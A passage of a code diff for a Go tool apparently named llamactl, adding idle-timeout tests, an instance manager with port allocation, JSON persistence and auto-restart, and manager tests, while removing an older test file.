+	idleTimeoutSeconds := int64(idleTimeoutMinutes * 60)
+
+	return (i.timeProvider.Now().Unix() - lastRequest) > idleTimeoutSeconds
+}

pkg/instance/timeout_test.go

@@ -0,0 +1,195 @@
+package instance_test
+
+import (
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/testutil"
+	"sync/atomic"
+	"testing"
+	"time"
+)
+
+// MockTimeProvider implements TimeProvider for testing
+type MockTimeProvider struct {
+	currentTime atomic.Int64 // Unix timestamp
+}
+
+func NewMockTimeProvider(t time.Time) *MockTimeProvider {
+	m := &MockTimeProvider{}
+	m.currentTime.Store(t.Unix())
+	return m
+}
+
+func (m *MockTimeProvider) Now() time.Time {
+	return time.Unix(m.currentTime.Load(), 0)
+}
+
+func (m *MockTimeProvider) SetTime(t time.Time) {
+	m.currentTime.Store(t.Unix())
+}
+
+// Timeout-related tests
+
+func TestUpdateLastRequestTime(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options)
+
+	// Test that UpdateLastRequestTime doesn't panic
+	inst.UpdateLastRequestTime()
+}
+
+func TestShouldTimeout_NotRunning(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	idleTimeout := 1 // 1 minute
+	options := &instance.CreateInstanceOptions{
+		IdleTimeout: &idleTimeout,
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options)
+
+	// Instance is not running, should not timeout regardless of configuration
+	if inst.ShouldTimeout() {
+		t.Error("Non-running instance should never timeout")
+	}
+}
+
+func TestShouldTimeout_NoTimeoutConfigured(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	tests := []struct {
+		name        string
+		idleTimeout *int
+	}{
+		{"nil timeout", nil},
+		{"zero timeout", testutil.IntPtr(0)},
+		{"negative timeout", testutil.IntPtr(-5)},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			options := &instance.CreateInstanceOptions{
+				IdleTimeout: tt.idleTimeout,
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+				},
+			}
+
+			inst := instance.NewInstance("test-instance", globalSettings, options)
+			// Simulate running state
+			inst.Running = true
+
+			if inst.ShouldTimeout() {
+				t.Errorf("Instance with %s should not timeout", tt.name)
+			}
+		})
+	}
+}
+
+func TestShouldTimeout_WithinTimeLimit(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	idleTimeout := 5 // 5 minutes
+	options := &instance.CreateInstanceOptions{
+		IdleTimeout: &idleTimeout,
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options)
+	inst.Running = true
+
+	// Update last request time to now
+	inst.UpdateLastRequestTime()
+
+	// Should not timeout immediately
+	if inst.ShouldTimeout() {
+		t.Error("Instance should not timeout when last request was recent")
+	}
+}
+
+func TestShouldTimeout_ExceedsTimeLimit(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	idleTimeout := 1 // 1 minute
+	options := &instance.CreateInstanceOptions{
+		IdleTimeout: &idleTimeout,
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options)
+	inst.Running = true
+
+	// Use MockTimeProvider to simulate old last request time
+	mockTime := NewMockTimeProvider(time.Now())
+	inst.SetTimeProvider(mockTime)
+
+	// Set last request time to now
+	inst.UpdateLastRequestTime()
+
+	// Advance time by 2 minutes (exceeds 1 minute timeout)
+	mockTime.SetTime(time.Now().Add(2 * time.Minute))
+
+	if !inst.ShouldTimeout() {
+		t.Error("Instance should timeout when last request exceeds idle timeout")
+	}
+}
+
+func TestTimeoutConfiguration_Validation(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	tests := []struct {
+		name            string
+		inputTimeout    *int
+		expectedTimeout int
+	}{
+		{"default value when nil", nil, 0},
+		{"positive value", testutil.IntPtr(10), 10},
+		{"zero value", testutil.IntPtr(0), 0},
+		{"negative value gets corrected", testutil.IntPtr(-5), 0},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			options := &instance.CreateInstanceOptions{
+				IdleTimeout: tt.inputTimeout,
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+				},
+			}
+
+			inst := instance.NewInstance("test-instance", globalSettings, options)
+			opts := inst.GetOptions()
+
+			if opts.IdleTimeout == nil || *opts.IdleTimeout != tt.expectedTimeout {
+				t.Errorf("Expected IdleTimeout %d, got %v", tt.expectedTimeout, opts.IdleTimeout)
+			}
+		})
+	}
+}

pkg/instance_test.go

@@ -1,442 +0,0 @@
-package llamactl_test
-
-import (
-	"encoding/json"
-	"testing"
-
-	llamactl "llamactl/pkg"
-)
-
-func TestNewInstance(t *testing.T) {
-	globalSettings := &llamactl.InstancesConfig{
-		LogDirectory:        "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-
-	instance := llamactl.NewInstance("test-instance", globalSettings, options)
-
-	if instance.Name != "test-instance" {
-		t.Errorf("Expected name 'test-instance', got %q", instance.Name)
-	}
-	if instance.Running {
-		t.Error("New instance should not be running")
-	}
-
-	// Check that options were properly set with defaults applied
-	opts := instance.GetOptions()
-	if opts.Model != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
-	}
-	if opts.Port != 8080 {
-		t.Errorf("Expected port 8080, got %d", opts.Port)
-	}
-
-	// Check that defaults were applied
-	if opts.AutoRestart == nil || !*opts.AutoRestart {
-		t.Error("Expected AutoRestart to be true (default)")
-	}
-	if opts.MaxRestarts == nil || *opts.MaxRestarts != 3 {
-		t.Errorf("Expected MaxRestarts to be 3 (default), got %v", opts.MaxRestarts)
-	}
-	if opts.RestartDelay == nil || *opts.RestartDelay != 5 {
-		t.Errorf("Expected RestartDelay to be 5 (default), got %v", opts.RestartDelay)
-	}
-}
-
-func TestNewInstance_WithRestartOptions(t *testing.T) {
-	globalSettings := &llamactl.InstancesConfig{
-		LogDirectory:        "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	// Override some defaults
-	autoRestart := false
-	maxRestarts := 10
-	restartDelay := 15
-
-	options := &llamactl.CreateInstanceOptions{
-		AutoRestart:  &autoRestart,
-		MaxRestarts:  &maxRestarts,
-		RestartDelay: &restartDelay,
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	instance := llamactl.NewInstance("test-instance", globalSettings, options)
-	opts := instance.GetOptions()
-
-	// Check that explicit values override defaults
-	if opts.AutoRestart == nil || *opts.AutoRestart {
-		t.Error("Expected AutoRestart to be false (overridden)")
-	}
-	if opts.MaxRestarts == nil || *opts.MaxRestarts != 10 {
-		t.Errorf("Expected MaxRestarts to be 10 (overridden), got %v", opts.MaxRestarts)
-	}
-	if opts.RestartDelay == nil || *opts.RestartDelay != 15 {
-		t.Errorf("Expected RestartDelay to be 15 (overridden), got %v", opts.RestartDelay)
-	}
-}
-
-func TestNewInstance_ValidationAndDefaults(t *testing.T) {
-	globalSettings := &llamactl.InstancesConfig{
-		LogDirectory:        "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	// Test with invalid negative values
-	invalidMaxRestarts := -5
-	invalidRestartDelay := -10
-
-	options := &llamactl.CreateInstanceOptions{
-		MaxRestarts:  &invalidMaxRestarts,
-		RestartDelay: &invalidRestartDelay,
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	instance := llamactl.NewInstance("test-instance", globalSettings, options)
-	opts := instance.GetOptions()
-
-	// Check that negative values were corrected to 0
-	if opts.MaxRestarts == nil || *opts.MaxRestarts != 0 {
-		t.Errorf("Expected MaxRestarts to be corrected to 0, got %v", opts.MaxRestarts)
-	}
-	if opts.RestartDelay == nil || *opts.RestartDelay != 0 {
-		t.Errorf("Expected RestartDelay to be corrected to 0, got %v", opts.RestartDelay)
-	}
-}
-
-func TestSetOptions(t *testing.T) {
-	globalSettings := &llamactl.InstancesConfig{
-		LogDirectory:        "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	initialOptions := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-
-	instance := llamactl.NewInstance("test-instance", globalSettings, initialOptions)
-
-	// Update options
-	newOptions := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/new-model.gguf",
-			Port:  8081,
-		},
-	}
-
-	instance.SetOptions(newOptions)
-	opts := instance.GetOptions()
-
-	if opts.Model != "/path/to/new-model.gguf" {
-		t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.Model)
-	}
-	if opts.Port != 8081 {
-		t.Errorf("Expected updated port 8081, got %d", opts.Port)
-	}
-
-	// Check that defaults are still applied
-	if opts.AutoRestart == nil || !*opts.AutoRestart {
-		t.Error("Expected AutoRestart to be true (default)")
-	}
-}
-
-func TestSetOptions_NilOptions(t *testing.T) {
-	globalSettings := &llamactl.InstancesConfig{
-		LogDirectory:        "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	instance := llamactl.NewInstance("test-instance", globalSettings, options)
-	originalOptions := instance.GetOptions()
-
-	// Try to set nil options
-	instance.SetOptions(nil)
-
-	// Options should remain unchanged
-	currentOptions := instance.GetOptions()
-	if currentOptions.Model != originalOptions.Model {
-		t.Error("Options should not change when setting nil options")
-	}
-}
-
-func TestGetProxy(t *testing.T) {
-	globalSettings := &llamactl.InstancesConfig{
-		LogDirectory: "/tmp/test",
-	}
-
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Host: "localhost",
-			Port: 8080,
-		},
-	}
-
-	instance := llamactl.NewInstance("test-instance", globalSettings, options)
-
-	// Get proxy for the first time
-	proxy1, err := instance.GetProxy()
-	if err != nil {
-		t.Fatalf("GetProxy failed: %v", err)
-	}
-	if proxy1 == nil {
-		t.Error("Expected proxy to be created")
-	}
-
-	// Get proxy again - should return cached version
-	proxy2, err := instance.GetProxy()
-	if err != nil {
-		t.Fatalf("GetProxy failed: %v", err)
-	}
-	if proxy1 != proxy2 {
-		t.Error("Expected cached proxy to be returned")
-	}
-}
-
-func TestMarshalJSON(t *testing.T) {
-	globalSettings := &llamactl.InstancesConfig{
-		LogDirectory:        "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	options := &llamactl.CreateInstanceOptions{
-		LlamaServerOptions: llamactl.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-
-	instance := llamactl.NewInstance("test-instance", globalSettings, options)
-
-	data, err := json.Marshal(instance)
-	if err != nil {
-		t.Fatalf("JSON marshal failed: %v", err)
-	}
-
-	// Check that JSON contains expected fields
-	var result map[string]interface{}
-	err = json.Unmarshal(data, &result)
-	if err != nil {
-		t.Fatalf("JSON unmarshal failed: %v", err)
-	}
-
-	if result["name"] != "test-instance" {
-		t.Errorf("Expected name 'test-instance', got %v", result["name"])
-	}
-	if result["running"] != false {
-		t.Errorf("Expected running false, got %v", result["running"])
-	}
-
-	// Check that options are included
-	options_data, ok := result["options"]
-	if !ok {
-		t.Error("Expected options to be included in JSON")
-	}
-	options_map, ok := options_data.(map[string]interface{})
-	if !ok {
-		t.Error("Expected options to be a map")
-	}
-	if options_map["model"] != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %v", options_map["model"])
-	}
-}
-
-func TestUnmarshalJSON(t *testing.T) {
-	jsonData := `{
-		"name": "test-instance",
-		"running": true,
-		"options": {
-			"model": "/path/to/model.gguf",
-			"port": 8080,
-			"auto_restart": false,
-			"max_restarts": 5
-		}
-	}`
-
-	var instance llamactl.Instance
-	err := json.Unmarshal([]byte(jsonData), &instance)
-	if err != nil {
-		t.Fatalf("JSON unmarshal failed: %v", err)
-	}
-
-	if instance.Name != "test-instance" {
-		t.Errorf("Expected name 'test-instance', got %q", instance.Name)
-	}
-	if !instance.Running {
-		t.Error("Expected running to be true")
-	}
-
-	opts := instance.GetOptions()
-	if opts == nil {
-		t.Fatal("Expected options to be set")
-	}
-	if opts.Model != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
-	}
-	if opts.Port != 8080 {
-		t.Errorf("Expected port 8080, got %d", opts.Port)
-	}
-	if opts.AutoRestart == nil || *opts.AutoRestart {
-		t.Error("Expected AutoRestart to be false")
-	}
-	if opts.MaxRestarts == nil || *opts.MaxRestarts != 5 {
-		t.Errorf("Expected MaxRestarts to be 5, got %v", opts.MaxRestarts)
-	}
-}
-
-func TestUnmarshalJSON_PartialOptions(t *testing.T) {
-	jsonData := `{
-		"name": "test-instance",
-		"running": false,
-		"options": {
-			"model": "/path/to/model.gguf"
-		}
-	}`
-
-	var instance llamactl.Instance
-	err := json.Unmarshal([]byte(jsonData), &instance)
-	if err != nil {
-		t.Fatalf("JSON unmarshal failed: %v", err)
-	}
-
-	opts := instance.GetOptions()
-	if opts.Model != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
-	}
-
-	// Note: Defaults are NOT applied during unmarshaling
-	// They should only be applied by NewInstance or SetOptions
-	if opts.AutoRestart != nil {
-		t.Error("Expected AutoRestart to be nil (no defaults applied during unmarshal)")
-	}
-}
-
-func TestUnmarshalJSON_NoOptions(t *testing.T) {
-	jsonData := `{
-		"name": "test-instance",
-		"running": false
-	}`
-
-	var instance llamactl.Instance
-	err := json.Unmarshal([]byte(jsonData), &instance)
-	if err != nil {
-		t.Fatalf("JSON unmarshal failed: %v", err)
-	}
-
-	if instance.Name != "test-instance" {
-		t.Errorf("Expected name 'test-instance', got %q", instance.Name)
-	}
-	if instance.Running {
-		t.Error("Expected running to be false")
-	}
-
-	opts := instance.GetOptions()
-	if opts != nil {
-		t.Error("Expected options to be nil when not provided in JSON")
-	}
-}
-
-func TestCreateInstanceOptionsValidation(t *testing.T) {
-	tests := []struct {
-		name          string
-		maxRestarts   *int
-		restartDelay  *int
-		expectedMax   int
-		expectedDelay int
-	}{
-		{
-			name:          "nil values",
-			maxRestarts:   nil,
-			restartDelay:  nil,
-			expectedMax:   0, // Should remain nil, but we can't easily test nil in this structure
-			expectedDelay: 0,
-		},
-		{
-			name:          "valid positive values",
-			maxRestarts:   intPtr(10),
-			restartDelay:  intPtr(30),
-			expectedMax:   10,
-			expectedDelay: 30,
-		},
-		{
-			name:          "zero values",
-			maxRestarts:   intPtr(0),
-			restartDelay:  intPtr(0),
-			expectedMax:   0,
-			expectedDelay: 0,
-		},
-		{
-			name:          "negative values should be corrected",
-			maxRestarts:   intPtr(-5),
-			restartDelay:  intPtr(-10),
-			expectedMax:   0,
-			expectedDelay: 0,
-		},
-	}
-
-	globalSettings := &llamactl.InstancesConfig{
-		LogDirectory: "/tmp/test",
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			options := &llamactl.CreateInstanceOptions{
-				MaxRestarts:  tt.maxRestarts,
-				RestartDelay: tt.restartDelay,
-				LlamaServerOptions: llamactl.LlamaServerOptions{
-					Model: "/path/to/model.gguf",
-				},
-			}
-
-			instance := llamactl.NewInstance("test", globalSettings, options)
-			opts := instance.GetOptions()
-
-			if tt.maxRestarts != nil {
-				if opts.MaxRestarts == nil {
-					t.Error("Expected MaxRestarts to be set")
-				} else if *opts.MaxRestarts != tt.expectedMax {
-					t.Errorf("Expected MaxRestarts %d, got %d", tt.expectedMax, *opts.MaxRestarts)
-				}
-			}
-
-			if tt.restartDelay != nil {
-				if opts.RestartDelay == nil {
-					t.Error("Expected RestartDelay to be set")
-				} else if *opts.RestartDelay != tt.expectedDelay {
-					t.Errorf("Expected RestartDelay %d, got %d", tt.expectedDelay, *opts.RestartDelay)
-				}
-			}
-		})
-	}
-}

pkg/manager/manager.go

@@ -0,0 +1,272 @@
+package manager
+
+import (
+	"encoding/json"
+	"fmt"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"log"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+	"time"
+)
+
+// InstanceManager defines the interface for managing instances of the llama server.
+type InstanceManager interface {
+	ListInstances() ([]*instance.Process, error)
+	CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error)
+	GetInstance(name string) (*instance.Process, error)
+	UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error)
+	DeleteInstance(name string) error
+	StartInstance(name string) (*instance.Process, error)
+	StopInstance(name string) (*instance.Process, error)
+	RestartInstance(name string) (*instance.Process, error)
+	GetInstanceLogs(name string) (string, error)
+	Shutdown()
+}
+
+type instanceManager struct {
+	mu              sync.RWMutex
+	instances       map[string]*instance.Process
+	ports           map[int]bool
+	instancesConfig config.InstancesConfig
+
+	// Timeout checker
+	timeoutChecker *time.Ticker
+	shutdownChan   chan struct{}
+	shutdownDone   chan struct{}
+	isShutdown     bool
+}
+
+// NewInstanceManager creates a new instance of InstanceManager.
+func NewInstanceManager(instancesConfig config.InstancesConfig) InstanceManager {
+	if instancesConfig.TimeoutCheckInterval <= 0 {
+		instancesConfig.TimeoutCheckInterval = 5 // Default to 5 minutes if not set
+	}
+	im := &instanceManager{
+		instances:       make(map[string]*instance.Process),
+		ports:           make(map[int]bool),
+		instancesConfig: instancesConfig,
+
+		timeoutChecker: time.NewTicker(time.Duration(instancesConfig.TimeoutCheckInterval) * time.Minute),
+		shutdownChan:   make(chan struct{}),
+		shutdownDone:   make(chan struct{}),
+	}
+
+	// Load existing instances from disk
+	if err := im.loadInstances(); err != nil {
+		log.Printf("Error loading instances: %v", err)
+	}
+
+	// Start the timeout checker goroutine after initialization is complete
+	go func() {
+		defer close(im.shutdownDone)
+
+		for {
+			select {
+			case <-im.timeoutChecker.C:
+				im.checkAllTimeouts()
+			case <-im.shutdownChan:
+				return // Exit goroutine on shutdown
+			}
+		}
+	}()
+
+	return im
+}
+
+func (im *instanceManager) getNextAvailablePort() (int, error) {
+	portRange := im.instancesConfig.PortRange
+
+	for port := portRange[0]; port <= portRange[1]; port++ {
+		if !im.ports[port] {
+			im.ports[port] = true
+			return port, nil
+		}
+	}
+
+	return 0, fmt.Errorf("no available ports in the specified range")
+}
+
+// persistInstance saves an instance to its JSON file
+func (im *instanceManager) persistInstance(instance *instance.Process) error {
+	if im.instancesConfig.InstancesDir == "" {
+		return nil // Persistence disabled
+	}
+
+	instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json")
+	tempPath := instancePath + ".tmp"
+
+	// Serialize instance to JSON
+	jsonData, err := json.MarshalIndent(instance, "", "  ")
+	if err != nil {
+		return fmt.Errorf("failed to marshal instance %s: %w", instance.Name, err)
+	}
+
+	// Write to temporary file first
+	if err := os.WriteFile(tempPath, jsonData, 0644); err != nil {
+		return fmt.Errorf("failed to write temp file for instance %s: %w", instance.Name, err)
+	}
+
+	// Atomic rename
+	if err := os.Rename(tempPath, instancePath); err != nil {
+		os.Remove(tempPath) // Clean up temp file
+		return fmt.Errorf("failed to rename temp file for instance %s: %w", instance.Name, err)
+	}
+
+	return nil
+}
+
+func (im *instanceManager) Shutdown() {
+	im.mu.Lock()
+	defer im.mu.Unlock()
+
+	// Check if already shutdown
+	if im.isShutdown {
+		return
+	}
+	im.isShutdown = true
+
+	// Signal the timeout checker to stop
+	close(im.shutdownChan)
+
+	// Release lock temporarily to wait for goroutine
+	im.mu.Unlock()
+	// Wait for the timeout checker goroutine to actually stop
+	<-im.shutdownDone
+	// Reacquire lock
+	im.mu.Lock()
+
+	// Now stop the ticker
+	if im.timeoutChecker != nil {
+		im.timeoutChecker.Stop()
+	}
+
+	var wg sync.WaitGroup
+	wg.Add(len(im.instances))
+
+	for name, inst := range im.instances {
+		if !inst.Running {
+			wg.Done() // If instance is not running, just mark it as done
+			continue
+		}
+
+		go func(name string, inst *instance.Process) {
+			defer wg.Done()
+			fmt.Printf("Stopping instance %s...\n", name)
+			// Attempt to stop the instance gracefully
+			if err := inst.Stop(); err != nil {
+				fmt.Printf("Error stopping instance %s: %v\n", name, err)
+			}
+		}(name, inst)
+	}
+
+	wg.Wait()
+	fmt.Println("All instances stopped.")
+}
+
+// loadInstances restores all instances from disk
+func (im *instanceManager) loadInstances() error {
+	if im.instancesConfig.InstancesDir == "" {
+		return nil // Persistence disabled
+	}
+
+	// Check if instances directory exists
+	if _, err := os.Stat(im.instancesConfig.InstancesDir); os.IsNotExist(err) {
+		return nil // No instances directory, start fresh
+	}
+
+	// Read all JSON files from instances directory
+	files, err := os.ReadDir(im.instancesConfig.InstancesDir)
+	if err != nil {
+		return fmt.Errorf("failed to read instances directory: %w", err)
+	}
+
+	loadedCount := 0
+	for _, file := range files {
+		if file.IsDir() || !strings.HasSuffix(file.Name(), ".json") {
+			continue
+		}
+
+		instanceName := strings.TrimSuffix(file.Name(), ".json")
+		instancePath := filepath.Join(im.instancesConfig.InstancesDir, file.Name())
+
+		if err := im.loadInstance(instanceName, instancePath); err != nil {
+			log.Printf("Failed to load instance %s: %v", instanceName, err)
+			continue
+		}
+
+		loadedCount++
+	}
+
+	if loadedCount > 0 {
+		log.Printf("Loaded %d instances from persistence", loadedCount)
+		// Auto-start instances that have auto-restart enabled
+		go im.autoStartInstances()
+	}
+
+	return nil
+}
+
+// loadInstance loads a single instance from its JSON file
+func (im *instanceManager) loadInstance(name, path string) error {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return fmt.Errorf("failed to read instance file: %w", err)
+	}
+
+	var persistedInstance instance.Process
+	if err := json.Unmarshal(data, &persistedInstance); err != nil {
+		return fmt.Errorf("failed to unmarshal instance: %w", err)
+	}
+
+	// Validate the instance name matches the filename
+	if persistedInstance.Name != name {
+		return fmt.Errorf("instance name mismatch: file=%s, instance.Name=%s", name, persistedInstance.Name)
+	}
+
+	// Create new inst using NewInstance (handles validation, defaults, setup)
+	inst := instance.NewInstance(name, &im.instancesConfig, persistedInstance.GetOptions())
+
+	// Restore persisted fields that NewInstance doesn't set
+	inst.Created = persistedInstance.Created
+	inst.Running = persistedInstance.Running
+
+	// Check for port conflicts and add to maps
+	if inst.GetOptions() != nil && inst.GetOptions().Port > 0 {
+		port := inst.GetOptions().Port
+		if im.ports[port] {
+			return fmt.Errorf("port conflict: instance %s wants port %d which is already in use", name, port)
+		}
+		im.ports[port] = true
+	}
+
+	im.instances[name] = inst
+	return nil
+}
+
+// autoStartInstances starts instances that were running when persisted and have auto-restart enabled
+func (im *instanceManager) autoStartInstances() {
+	im.mu.RLock()
+	var instancesToStart []*instance.Process
+	for _, inst := range im.instances {
+		if inst.Running && // Was running when persisted
+			inst.GetOptions() != nil &&
+			inst.GetOptions().AutoRestart != nil &&
+			*inst.GetOptions().AutoRestart {
+			instancesToStart = append(instancesToStart, inst)
+		}
+	}
+	im.mu.RUnlock()
+
+	for _, inst := range instancesToStart {
+		log.Printf("Auto-starting instance %s", inst.Name)
+		// Reset running state before starting (since Start() expects stopped instance)
+		inst.Running = false
+		if err := inst.Start(); err != nil {
+			log.Printf("Failed to auto-start instance %s: %v", inst.Name, err)
+		}
+	}
+}

pkg/manager/manager_test.go

@@ -0,0 +1,509 @@
+package manager_test
+
+import (
+	"fmt"
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/manager"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+)
+
+func TestNewInstanceManager(t *testing.T) {
+	cfg := config.InstancesConfig{
+		PortRange:            [2]int{8000, 9000},
+		LogsDir:              "/tmp/test",
+		MaxInstances:         5,
+		LlamaExecutable:      "llama-server",
+		DefaultAutoRestart:   true,
+		DefaultMaxRestarts:   3,
+		DefaultRestartDelay:  5,
+		TimeoutCheckInterval: 5,
+	}
+
+	manager := manager.NewInstanceManager(cfg)
+	if manager == nil {
+		t.Fatal("NewInstanceManager returned nil")
+	}
+
+	// Test initial state
+	instances, err := manager.ListInstances()
+	if err != nil {
+		t.Fatalf("ListInstances failed: %v", err)
+	}
+	if len(instances) != 0 {
+		t.Errorf("Expected empty instance list, got %d instances", len(instances))
+	}
+}
+
+func TestCreateInstance_Success(t *testing.T) {
+	manager := createTestManager()
+
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+			Port:  8080,
+		},
+	}
+
+	inst, err := manager.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	if inst.Name != "test-instance" {
+		t.Errorf("Expected instance name 'test-instance', got %q", inst.Name)
+	}
+	if inst.Running {
+		t.Error("New instance should not be running")
+	}
+	if inst.GetOptions().Port != 8080 {
+		t.Errorf("Expected port 8080, got %d", inst.GetOptions().Port)
+	}
+}
+
+func TestCreateInstance_ValidationAndLimits(t *testing.T) {
+	// Test duplicate names
+	mngr := createTestManager()
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	_, err := mngr.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("First CreateInstance failed: %v", err)
+	}
+
+	// Try to create duplicate
+	_, err = mngr.CreateInstance("test-instance", options)
+	if err == nil {
+		t.Error("Expected error for duplicate instance name")
+	}
+	if !strings.Contains(err.Error(), "already exists") {
+		t.Errorf("Expected duplicate name error, got: %v", err)
+	}
+
+	// Test max instances limit
+	cfg := config.InstancesConfig{
+		PortRange:            [2]int{8000, 9000},
+		MaxInstances:         1, // Very low limit for testing
+		TimeoutCheckInterval: 5,
+	}
+	limitedManager := manager.NewInstanceManager(cfg)
+
+	_, err = limitedManager.CreateInstance("instance1", options)
+	if err != nil {
+		t.Fatalf("CreateInstance 1 failed: %v", err)
+	}
+
+	// This should fail due to max instances limit
+	_, err = limitedManager.CreateInstance("instance2", options)
+	if err == nil {
+		t.Error("Expected error when exceeding max instances limit")
+	}
+	if !strings.Contains(err.Error(), "maximum number of instances") {
+		t.Errorf("Expected max instances error, got: %v", err)
+	}
+}
+
+func TestPortManagement(t *testing.T) {
+	manager := createTestManager()
+
+	// Test auto port assignment
+	options1 := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	inst1, err := manager.CreateInstance("instance1", options1)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	port1 := inst1.GetOptions().Port
+	if port1 < 8000 || port1 > 9000 {
+		t.Errorf("Expected port in range 8000-9000, got %d", port1)
+	}
+
+	// Test port conflict detection
+	options2 := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model2.gguf",
+			Port:  port1, // Same port - should conflict
+		},
+	}
+
+	_, err = manager.CreateInstance("instance2", options2)
+	if err == nil {
+		t.Error("Expected error for port conflict")
+	}
+	if !strings.Contains(err.Error(), "port") && !strings.Contains(err.Error(), "in use") {
+		t.Errorf("Expected port conflict error, got: %v", err)
+	}
+
+	// Test port release on deletion
+	specificPort := 8080
+	options3 := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+			Port:  specificPort,
+		},
+	}
+
+	_, err = manager.CreateInstance("port-test", options3)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	err = manager.DeleteInstance("port-test")
+	if err != nil {
+		t.Fatalf("DeleteInstance failed: %v", err)
+	}
+
+	// Should be able to create new instance with same port
+	_, err = manager.CreateInstance("new-port-test", options3)
+	if err != nil {
+		t.Errorf("Expected to reuse port after deletion, got error: %v", err)
+	}
+}
+
+func TestInstanceOperations(t *testing.T) {
+	manager := createTestManager()
+
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	// Create instance
+	created, err := manager.CreateInstance("test-instance", options)
+	if err != nil {
